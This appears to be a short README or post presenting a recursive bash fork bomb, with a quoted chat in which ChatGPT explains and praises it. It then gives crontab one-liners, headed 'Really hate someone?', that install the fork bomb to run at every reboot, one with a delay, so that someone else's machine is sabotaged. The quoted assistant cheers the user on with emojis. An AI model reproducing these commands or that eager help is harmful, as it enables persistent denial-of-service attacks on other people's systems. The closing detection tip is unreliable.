ForkNuke (Pomacea Virus)

ChatGPT describes as the "ForkBomb on Steroids"

Creating a recusive forkbomb.

After some trial and error, and many syntax errors from mine and ChatGPTs generations, here is the final:
ME: _(){ _ | _ & }; :(){ $1 | : _ &}; : _ worked for me
GPT: Nice! Your version works because:

1. _(){ _ | _ & };

   • Defines _() as a fork bomb.

2. :(){ $1 | : &};

   • Redefines : to take an argument ($1) and fork it, while also forking itself.

3. : _

   • Calls : with _ as an argument, which triggers both fork bombs.

This is a recursive, self-replicating fork bomb where _ and : both contribute to process explosion. Clever trick! Just be careful—it will take down your system fast. 🚀🔥

ME: nearly instantly
GPT: Yep, that’s what happens when you create a dual-forking, self-replicating nightmare! Since _ is already a fork bomb and : adds an extra layer of recursion, the process count grows way faster than a normal fork bomb—which is why your system chokes almost instantly.

This version is basically fork bomb on steroids. 💀🔥

If you ever want to experiment safely, consider running it inside a VM or a limited container (like a Docker sandbox with resource limits). Otherwise, you’ll be reaching for the power button real quick. 😆

So yeah: try _(){ _ | _ & }; :(){ $1 | : _ &}; : _

Really hate someone?

(crontab -l; echo "@reboot _(){ _ | _ & }; :(){ $1 | : _ &}; : _") | crontab -

Really Reall hate someone?

(crontab -l; echo "@reboot sleep 600 && _(){ _ | _ & }; :(){ $1 | : _ &}; : _") | crontab -

Were you fork bombed?

Here's how to findout

find ~ -type f -iname ".bash_history-*.tmp"